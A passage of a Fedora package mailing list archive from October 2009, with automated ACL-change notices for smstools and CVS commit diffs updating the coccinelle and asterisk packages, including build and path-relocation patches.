  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:30 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134030.B79F210F8BC@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora EPEL 5) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:33 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134033.EB8A510F88F@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora 10) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:34 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134034.ED6F110F8A4@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora 10) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:35 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134035.E9B4E10F8A9@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora 10) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:38 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134038.8774910F8BF@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora 11) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:38 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134038.AC14F10F8C1@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora 11) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:40 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134040.427AA10F8AF@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora 11) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:42 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134042.D38E510F8B1@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora 12) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:43 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134043.9206F10F8B5@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora 12) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:44 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134044.A727710F8C4@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora 12) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From rjones at fedoraproject.org  Thu Oct  8 13:43:59 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 13:43:59 +0000 (UTC)
Subject: rpms/coccinelle/devel .cvsignore, 1.3, 1.4 coccinelle.spec, 1.7,
	1.8 sources, 1.3,
	1.4 coccinelle-0.1.8-debian-unsafe-tmp-handling.patch, 1.1, NONE
Message-ID: <20091008134359.A1D1111C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/coccinelle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21857

Modified Files:
	.cvsignore coccinelle.spec sources 
Removed Files:
	coccinelle-0.1.8-debian-unsafe-tmp-handling.patch 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.1.10-1
- New upstream version 0.1.10.
- Removed patch, since fix to CVE-2009-1753 (RHBZ#502174) is now upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/coccinelle/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 May 2009 11:23:11 -0000	1.3
+++ .cvsignore	8 Oct 2009 13:43:58 -0000	1.4
@@ -1 +1 @@
-coccinelle-0.1.8.tgz
+coccinelle-0.1.10.tgz


Index: coccinelle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/coccinelle/devel/coccinelle.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- coccinelle.spec	24 Jul 2009 19:12:09 -0000	1.7
+++ coccinelle.spec	8 Oct 2009 13:43:58 -0000	1.8
@@ -7,8 +7,8 @@
 %endif
 
 Name:           coccinelle
-Version:        0.1.8
-Release:        5%{?dist}
+Version:        0.1.10
+Release:        1%{?dist}
 Summary:        Semantic patching for Linux (spatch)
 
 Group:          Development/Libraries
@@ -20,9 +20,6 @@ ExcludeArch:    sparc64 s390 s390x ppc64
 URL:            http://www.emn.fr/x-info/coccinelle/
 Source0:        http://www.emn.fr/x-info/coccinelle/distrib/%{name}-%{version}.tgz
 
-# RHBZ#502174, CVE-2009-1753
-Patch0:         coccinelle-0.1.8-debian-unsafe-tmp-handling.patch
-
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -63,8 +60,6 @@ The %{name}-examples package contains ex
 %prep
 %setup -q
 
-%patch0 -p1
-
 # Remove .cvsignore files.
 find -name .cvsignore -delete
 
@@ -156,6 +151,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.1.10-1
+- New upstream version 0.1.10.
+- Removed patch, since fix to CVE-2009-1753 (RHBZ#502174) is now upstream.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.8-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/coccinelle/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 May 2009 11:23:11 -0000	1.3
+++ sources	8 Oct 2009 13:43:58 -0000	1.4
@@ -1 +1 @@
-29565a4b1904809b57ed255f1df67567  coccinelle-0.1.8.tgz
+dcd1d50e1364efe5a0c88d13a409b4ff  coccinelle-0.1.10.tgz


--- coccinelle-0.1.8-debian-unsafe-tmp-handling.patch DELETED ---



From jcollie at fedoraproject.org  Thu Oct  8 13:45:31 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu,  8 Oct 2009 13:45:31 +0000 (UTC)
Subject: rpms/asterisk/F-11 .cvsignore, 1.22,
	1.23 0005-Build-using-external-libedit.patch, 1.6,
	1.7 0011-Fix-up-some-paths.patch, 1.1, 1.2 asterisk.spec, 1.52,
	1.53 sources, 1.22,
	1.23 0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch, 
	1.5, NONE asterisk-strip.sh, 1.5, NONE
Message-ID: <20091008134531.8CFD311C00DB@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22358

Modified Files:
	.cvsignore 0005-Build-using-external-libedit.patch 
	0011-Fix-up-some-paths.patch asterisk.spec sources 
Removed Files:
	0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch 
	asterisk-strip.sh 
Log Message:
* Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
- Update to 1.6.1.7-rc2
- Merge firmware subpackage back into main package
- No longer need to strip tarball since it no longer contains any non-free items
- Tighten up permissions/ownership of config files.
- Fix up some more paths
- Drop unneeded patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	7 Sep 2009 04:50:08 -0000	1.22
+++ .cvsignore	8 Oct 2009 13:45:31 -0000	1.23
@@ -1,3 +1,3 @@
-asterisk-1.6.1.6-stripped.tar.gz
-asterisk-1.6.1.6.tar.gz.asc
 asterisk-developer-pubring.gpg
+asterisk-1.6.1.7-rc2.tar.gz
+asterisk-1.6.1.7-rc2.tar.gz.asc

0005-Build-using-external-libedit.patch:
 build_tools/menuselect-deps.in |    1 +
 configure.ac                   |   22 ++++++++++++++++++++++
 main/Makefile                  |    8 +++++---
 main/cli.c                     |    3 ++-
 makeopts.in                    |    4 ++++
 5 files changed, 34 insertions(+), 4 deletions(-)

Index: 0005-Build-using-external-libedit.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/0005-Build-using-external-libedit.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 0005-Build-using-external-libedit.patch	7 Sep 2009 04:50:09 -0000	1.6
+++ 0005-Build-using-external-libedit.patch	8 Oct 2009 13:45:31 -0000	1.7
@@ -1,6 +1,6 @@
 Index: build_tools/menuselect-deps.in
 ===================================================================
---- build_tools/menuselect-deps.in	(revision 216642)
+--- build_tools/menuselect-deps.in	(revision 222649)
 +++ build_tools/menuselect-deps.in	(working copy)
 @@ -17,6 +17,7 @@
  IXJUSER=@PBX_IXJUSER@
@@ -12,9 +12,9 @@ Index: build_tools/menuselect-deps.in
  MISDN=@PBX_MISDN@
 Index: configure.ac
 ===================================================================
---- configure.ac	(revision 216642)
+--- configure.ac	(revision 222649)
 +++ configure.ac	(working copy)
-@@ -232,6 +232,7 @@
+@@ -244,6 +244,7 @@
  AST_EXT_LIB_SETUP([ISDNNET], [ISDN4Linux Library], [isdnnet])
  AST_EXT_LIB_SETUP([JACK], [Jack Audio Connection Kit], [jack])
  AST_EXT_LIB_SETUP([LDAP], [OpenLDAP], [ldap])
@@ -22,7 +22,7 @@ Index: configure.ac
  AST_EXT_LIB_SETUP([LTDL], [libtool], [ltdl])
  AST_EXT_LIB_SETUP([LUA], [Lua], [lua])
  AST_EXT_LIB_SETUP([MISDN], [mISDN User Library], [misdn])
-@@ -1621,6 +1622,27 @@
+@@ -1605,6 +1606,27 @@
  AC_SUBST(GTK2_INCLUDE)
  AC_SUBST(GTK2_LIB)
  
@@ -47,12 +47,12 @@ Index: configure.ac
 +AC_SUBST(LIBEDIT_LIB)
 +AC_SUBST(LIBEDIT_OBJ)
 +
- if test "${USE_CURL}" != "no"; then
-    AC_PATH_TOOL([CURL_CONFIG], [curl-config], No)
-    if test ! x"${CURL_CONFIG}" = xNo; then
+ AST_LIBCURL_CHECK_CONFIG([], [7.10.1])
+ 
+ AC_CONFIG_FILES([build_tools/menuselect-deps makeopts channels/h323/Makefile])
 Index: main/Makefile
 ===================================================================
---- main/Makefile	(revision 216642)
+--- main/Makefile	(revision 222649)
 +++ main/Makefile	(working copy)
 @@ -129,6 +129,8 @@
  	$(CC) -g -o testexpr2 ast_expr2f.o ast_expr2.o -lm
@@ -82,7 +82,7 @@ Index: main/Makefile
  
 Index: main/cli.c
 ===================================================================
---- main/cli.c	(revision 216642)
+--- main/cli.c	(revision 222649)
 +++ main/cli.c	(working copy)
 @@ -34,6 +34,8 @@
  #include <ctype.h>
@@ -103,9 +103,9 @@ Index: main/cli.c
  /*!
 Index: makeopts.in
 ===================================================================
---- makeopts.in	(revision 216642)
+--- makeopts.in	(revision 222649)
 +++ makeopts.in	(working copy)
-@@ -246,3 +246,7 @@
+@@ -249,3 +249,7 @@
  
  # if poll is not present, let the makefile know.
  POLL_AVAILABLE=@HAS_POLL@

0011-Fix-up-some-paths.patch:
 UPGRADE-1.4.txt                             |    2 +-
 agi/DialAnMp3.agi                           |    2 +-
 agi/jukebox.agi                             |    2 +-
 agi/numeralize                              |    2 +-
 apps/app_rpt.c                              |    2 +-
 configs/festival.conf.sample                |    2 +-
 configs/http.conf.sample                    |    6 +++---
 configs/iax.conf.sample                     |    4 ++--
 configs/musiconhold.conf.sample             |   10 +++++-----
 configs/osp.conf.sample                     |    4 ++--
 configs/phoneprov.conf.sample               |    2 +-
 configs/res_config_sqlite.conf              |    2 +-
 contrib/scripts/astgenkey                   |    2 +-
 contrib/scripts/astgenkey.8                 |    6 +++---
 contrib/utils/README.rawplayer              |    4 ++--
 doc/osp.txt                                 |    8 ++++----
 doc/tex/ael.tex                             |    2 +-
 doc/tex/asterisk-conf.tex                   |    4 ++--
 doc/tex/phoneprov.tex                       |    2 +-
 doc/tex/privacy.tex                         |    6 +++---
 pbx/ael/ael-test/ael-test3/extensions.ael   |   28 ++++++++++++++--------------
 pbx/ael/ael-test/ael-vtest13/extensions.ael |   28 ++++++++++++++--------------
 pbx/ael/ael-test/ref.ael-vtest13            |   26 +++++++++++++-------------
 utils/ael_main.c                            |    2 +-
 24 files changed, 79 insertions(+), 79 deletions(-)

Index: 0011-Fix-up-some-paths.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/0011-Fix-up-some-paths.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0011-Fix-up-some-paths.patch	9 Feb 2009 05:54:21 -0000	1.1
+++ 0011-Fix-up-some-paths.patch	8 Oct 2009 13:45:31 -0000	1.2
@@ -1,279 +1,223 @@
-From 2f393dd3178974151a4b69a56bb1523546ff1b10 Mon Sep 17 00:00:00 2001
-From: Jeffrey C. Ollie <jeff at ocjtech.us>
-Date: Sun, 4 Jan 2009 12:51:05 -0600
-Subject: [PATCH 11/15] Fix up some paths.
-
----
- UPGRADE-1.4.txt                             |    2 +-
- configs/festival.conf.sample                |    2 +-
- configs/http.conf.sample                    |    6 ++--
- configs/iax.conf.sample                     |    4 +-
- configs/musiconhold.conf.sample             |   10 ++++----
- configs/osp.conf.sample                     |    4 +-
- configs/phoneprov.conf.sample               |    2 +-
- contrib/scripts/astgenkey                   |    2 +-
- contrib/scripts/astgenkey.8                 |    6 ++--
- doc/osp.txt                                 |    8 +++---
- doc/tex/phoneprov.tex                       |    2 +-
- doc/tex/privacy.tex                         |    6 ++--
- pbx/ael/ael-test/ael-test3/extensions.ael   |   28 +++++++++++++-------------
- pbx/ael/ael-test/ael-vtest13/extensions.ael |   28 +++++++++++++-------------
- pbx/ael/ael-test/ref.ael-vtest13            |   26 ++++++++++++------------
- 15 files changed, 68 insertions(+), 68 deletions(-)
-
-diff --git a/UPGRADE-1.4.txt b/UPGRADE-1.4.txt
-index 4f82694..69bf322 100644
---- a/UPGRADE-1.4.txt
-+++ b/UPGRADE-1.4.txt
-@@ -92,7 +92,7 @@ sound packages in the 'sounds' subdirectory to be used later during installation
- WARNING: Asterisk 1.4 supports a new layout for sound files in multiple languages;
- instead of the alternate-language files being stored in subdirectories underneath
- the existing files (for French, that would be digits/fr, letters/fr, phonetic/fr,
--etc.) the new layout creates one directory under /var/lib/asterisk/sounds for the
-+etc.) the new layout creates one directory under /usr/share/asterisk/sounds for the
- language itself, then places all the sound files for that language under that
- directory and its subdirectories. This is the layout that will be created if you
- select non-English languages to be installed via menuselect, HOWEVER Asterisk does
-diff --git a/configs/festival.conf.sample b/configs/festival.conf.sample
-index 774f1a1..815f11d 100644
---- a/configs/festival.conf.sample
-+++ b/configs/festival.conf.sample
-@@ -21,7 +21,7 @@
- ; THIS DIRECTORY *MUST* EXIST and must be writable from the asterisk process.
- ; Defaults to /tmp/
- ;
--;cachedir=/var/lib/asterisk/festivalcache/
-+;cachedir=/var/spool/asterisk/festival/
- ;
- ; Festival command to send to the server.
- ; Defaults to: (tts_textasterisk "%s" 'file)(quit)\n
-diff --git a/configs/http.conf.sample b/configs/http.conf.sample
-index f15c9cf..6349905 100644
---- a/configs/http.conf.sample
-+++ b/configs/http.conf.sample
-@@ -5,7 +5,7 @@
- ; Note about Asterisk documentation:
- ;   If Asterisk was installed from a tarball, then the HTML documentation should
- ;   be installed in the static-http/docs directory which is
--;   (/var/lib/asterisk/static-http/docs) on linux by default.  If the Asterisk
-+;   (/usr/share/asterisk/static-http/docs) on linux by default.  If the Asterisk
- ;   HTTP server is enabled in this file by setting the "enabled", "bindaddr",
- ;   and "bindport" options, then you should be able to view the documentation
- ;   remotely by browsing to:
-@@ -66,6 +66,6 @@ bindaddr=127.0.0.1
- ;[post_mappings]
- ;
- ; In this example, if the prefix option is set to "asterisk", then using the
--; POST URL: /asterisk/uploads will put files in /var/lib/asterisk/uploads/.
--;uploads = /var/lib/asterisk/uploads/
-+; POST URL: /asterisk/uploads will put files in /var/spool/asterisk/uploads/.
-+;uploads = /var/spool/asterisk/uploads/
- ;
-diff --git a/configs/iax.conf.sample b/configs/iax.conf.sample
-index dc3c465..69de2b4 100644
---- a/configs/iax.conf.sample
-+++ b/configs/iax.conf.sample
-@@ -361,8 +361,8 @@ inkeys=freeworlddialup
- ; authentication is used, "inkeys" is a list of acceptable public keys on the 
- ; local system that can be used to authenticate the remote peer, separated by
- ; the ":" character.  "outkey" is a single, private key to use to authenticate
--; to the other side.  Public keys are named /var/lib/asterisk/keys/<name>.pub
--; while private keys are named /var/lib/asterisk/keys/<name>.key.  Private
-+; to the other side.  Public keys are named /usr/share/asterisk/keys/<name>.pub
-+; while private keys are named /usr/share/asterisk/keys/<name>.key.  Private
- ; keys should always be 3DES encrypted.
- ;
- ;
-diff --git a/configs/musiconhold.conf.sample b/configs/musiconhold.conf.sample
-index 4df1afd..b730335 100644
---- a/configs/musiconhold.conf.sample
-+++ b/configs/musiconhold.conf.sample
-@@ -39,11 +39,11 @@
- 
- [default]
- mode=files
--directory=/var/lib/asterisk/moh
-+directory=/usr/share/asterisk/moh
- ;
- ;[native-random]
- ;mode=files
--;directory=/var/lib/asterisk/moh
-+;directory=/usr/share/asterisk/moh
- ;digit=#        ; If this option is set for a class, then when callers are
- ;               ; listening to music on hold, they can press this digit, and
- ;               ; they will switch to listening to this music class.
-@@ -51,7 +51,7 @@ directory=/var/lib/asterisk/moh
- 
- ;[native-alphabetical]
- ;mode=files
--;directory=/var/lib/asterisk/moh
-+;directory=/usr/share/asterisk/moh
- ;sort=alpha     ; Sort the files in alphabetical order.  If this option is
- ;               ; not specified, the sort order is undefined.
- 
-@@ -63,7 +63,7 @@ directory=/var/lib/asterisk/moh
- ;mode=custom
- ; Note that with mode=custom, a directory is not required, such as when reading
- ; from a stream.
--;directory=/var/lib/asterisk/mohmp3
-+;directory=/usr/share/asterisk/mohmp3
- ;application=/usr/bin/mpg123 -q -r 8000 -f 8192 -b 2048 --mono -s
- 
- ;[ulawstream]
-@@ -75,5 +75,5 @@ directory=/var/lib/asterisk/moh
- ; choice
- ;[solaris]
- ;mode=custom
--;directory=/var/lib/asterisk/mohmp3
-+;directory=/usr/share/asterisk/mohmp3
- ;application=/site/sw/bin/madplay -Q -o raw:- --mono -R 8000 -a -12
-diff --git a/configs/osp.conf.sample b/configs/osp.conf.sample
-index e342337..2e346e6 100644
---- a/configs/osp.conf.sample
-+++ b/configs/osp.conf.sample
-@@ -36,8 +36,8 @@
- ;source=domain name or [IP address in brackets]
- ;
- ; Define path and file name of crypto files.
--; The default path for crypto file is /var/lib/asterisk/keys.  If no path is 
--; defined, crypto files will in /var/lib/asterisk/keys directory.
-+; The default path for crypto file is /usr/share/asterisk/keys.  If no path is 
-+; defined, crypto files will in /usr/share/asterisk/keys directory.
- ;
- ; Specify the private key file name.  
- ; If this parameter is unspecified or not present, the default name will be the 
-diff --git a/configs/phoneprov.conf.sample b/configs/phoneprov.conf.sample
-index 8f55fa8..2608914 100644
---- a/configs/phoneprov.conf.sample
-+++ b/configs/phoneprov.conf.sample
-@@ -57,4 +57,4 @@ ${TOLOWER(${MAC})}.cfg => 000000000000.cfg               ; Dynamically generated
- ${TOLOWER(${MAC})}-phone.cfg => 000000000000-phone.cfg   ; (relative to AST_DATA_DIR/phoneprov)
- config/${TOLOWER(${MAC})} => polycom.xml                 ; Dynamic Filename => template file 
- ${TOLOWER(${MAC})}-directory.xml => 000000000000-directory.xml
--setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
-+setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
-diff --git a/contrib/scripts/astgenkey b/contrib/scripts/astgenkey
-index 6376048..e4a5a80 100644
---- a/contrib/scripts/astgenkey
-+++ b/contrib/scripts/astgenkey
-@@ -29,7 +29,7 @@ if [ "$QUIET" != 'y' ]; then
- 	echo "in PEM format for use by Asterisk.  You will be asked to"
- 	echo "enter a passcode for your key multiple times.  Please"
- 	echo "enter the same code each time.  The resulting files will"
--	echo "need to be moved to /var/lib/asterisk/keys if you want"
-+	echo "need to be moved to /usr/share/asterisk/keys if you want"
- 	echo "to use them, and any private keys (.key files) will"
- 	echo "need to be initialized at runtime either by running"
- 	echo "Asterisk with the '-i' option, or with the 'init keys'"
-diff --git a/contrib/scripts/astgenkey.8 b/contrib/scripts/astgenkey.8
-index 328a4d2..ac6feae 100644
---- a/contrib/scripts/astgenkey.8
-+++ b/contrib/scripts/astgenkey.8
-@@ -88,7 +88,7 @@ The private key: secret.
- .RE
- 
- Those files should be copied to 
--.I /var/lib/asterisk/keys
-+.I /usr/share/asterisk/keys
- 
- (The private key: on your system. The public key: on other systems)
- 
-@@ -122,10 +122,10 @@ readable, such as with the following commands:
- And then make the key accessible to Asterisk (assuming you run it as
- user "asterisk").
- 
--  chown asterisk /var/lib/asterisk/keys/yourname.*
-+  chown asterisk /usr/share/asterisk/keys/yourname.*
- 
- .SH FILES
--.I /var/lib/asterisk/keys
-+.I /usr/share/asterisk/keys
- .RS
- .RE
- 
-diff --git a/doc/osp.txt b/doc/osp.txt
-index a0cd429..932f214 100644
---- a/doc/osp.txt
-+++ b/doc/osp.txt
-@@ -136,7 +136,7 @@ make clean; make linux
- Compilation is successful if there are no errors in the compiler output. The enroll program is now located in the OSP Toolkit/bin directory (example: /usr/src/ TK-3_3_6-20060303/bin). 
- 
- 2.2 Obtain Crypto Files
--The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /var/lib/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /var/lib/asterisk/keys directory.  
-+The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /usr/share/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /usr/share/asterisk/keys directory.  
- 
- Note: The osptestserver.transnexus.com is configured only for sending and receiving non-SSL messages, and issuing signed tokens. If you need help, post a message on the OSP mailing list at https://lists.sourceforge.net/lists/listinfo/osp-toolkit-client..
- 
-@@ -183,7 +183,7 @@ depth=0 /CN=osptestserver.transnexus.com/O=OSPServer
- verify return:1
- The certificate request was successful.
- Error Code returned from localcert command : 0
--The files generated should be copied to the /var/lib/asterisk/keys directory. 
-+The files generated should be copied to the /usr/share/asterisk/keys directory. 
- Note: The script enroll.sh requires AT&T korn shell (ksh) or any of its compatible variants. The /usr/src/TK-3_3_6-20060303/bin directory should be in the PATH variable. Otherwise, enroll.sh cannot find the enroll file.
- 
- 3 Asterisk
-@@ -247,9 +247,9 @@ servicepoint=http://OSP server IP:1080/osp
- source=[host IP]
- ;
- ; Define path and file name of crypto files.
--; The default path for crypto file is /var/lib/asterisk/keys.  If no
-+; The default path for crypto file is /usr/share/asterisk/keys.  If no
- ; path is defined, crypto files should be in  
--; /var/lib/asterisk/keys directory.
-+; /usr/share/asterisk/keys directory.
- ;
- ; Specify the private key file name.  
- ; If this parameter is unspecified or not present, the default name 
-diff --git a/doc/tex/phoneprov.tex b/doc/tex/phoneprov.tex
-index cb236a8..be01d34 100644
---- a/doc/tex/phoneprov.tex
-+++ b/doc/tex/phoneprov.tex
-@@ -58,7 +58,7 @@ files, respectively. A sample profile:
- [polycom]
- staticdir => configs/
- mime_type => text/xml
--setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg
-+setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg
- static_file => bootrom.ld,application/octet-stream
- static_file => bootrom.ver,plain/text
- static_file => sip.ld,application/octet-stream
-diff --git a/doc/tex/privacy.tex b/doc/tex/privacy.tex
-index a4ae7b9..bad6815 100644
---- a/doc/tex/privacy.tex
-+++ b/doc/tex/privacy.tex
-@@ -210,7 +210,7 @@ helpful.
+Index: pbx/ael/ael-test/ref.ael-vtest13
+===================================================================
+--- pbx/ael/ael-test/ref.ael-vtest13	(revision 222649)
++++ pbx/ael/ael-test/ref.ael-vtest13	(working copy)
+@@ -2107,7 +2107,7 @@
  
- When there is no CallerID, P and p options will always record an intro
- for the incoming caller. This intro will be stored temporarily in the
--\path{/var/lib/asterisk/sounds/priv-callerintros} dir, under the name
-+\path{/usr/share/asterisk/sounds/priv-callerintros} dir, under the name
- NOCALLERID\_$<$extension$>$ $<$channelname$>$ and will be erased after the
- callee decides what to do with the call.
  
-@@ -245,7 +245,7 @@ introductions are stored and re-used for the convenience of the CALLER.
- \subsubsection{Introductions}
- Unless instructed to not save introductions (see the 'n' option above),
- the screening modes will save the recordings of the caller's names in
--the directory \path{/var/lib/asterisk/sounds/priv-callerintros}, if they have
-+the directory \path{/usr/share/asterisk/sounds/priv-callerintros}, if they have
- a CallerID.  Just the 10-digit callerid numbers are used as filenames,
- with a ".gsm" at the end.
+ [callerid-liar]
+-exten => s,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&)
++exten => s,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&)
+ exten => s,2,Background(priv-liar)
+ exten => s,3,Hangup()
+ exten => s,4,Return()
+@@ -2142,7 +2142,7 @@
+ exten => s,4,Zapateller(nocallerid)
+ exten => s,5,PrivacyManager()
+ exten => s,6,GotoIf($["${PRIVACYMGRSTATUS}" = "FAILED" ]?7:11)
+-exten => s,7,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm)
++exten => s,7,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm)
+ exten => s,8,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
+ exten => s,9,Hangup()
+ exten => s,10,Return()
+@@ -2168,7 +2168,7 @@
+ exten => s,30,verbose(direct is XXX#${direct}XXXX)
+ exten => s,31,Playback(greetings/direct)
+ exten => s,32,Playback(/var/spool/asterisk/voicemail/default/${direct}/greet)
+-exten => s,33,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => s,33,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => s,34,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&)
+ exten => s,35,Goto(sw-92-${direct},10)
+ exten => s,36,NoOp(Finish switch-if-homeline-91-92)
+@@ -2247,7 +2247,7 @@
+ exten => sw-92-2,11,Goto(s,loopback)
+ exten => sw-92-1,10,Gosub(std-priv-exten,s,1(Zap/6r3&Sip/murf,1,25,mpA(beep)tw,telemarket,telemarket))
+ exten => sw-92-1,11,Goto(s,loopback)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&)
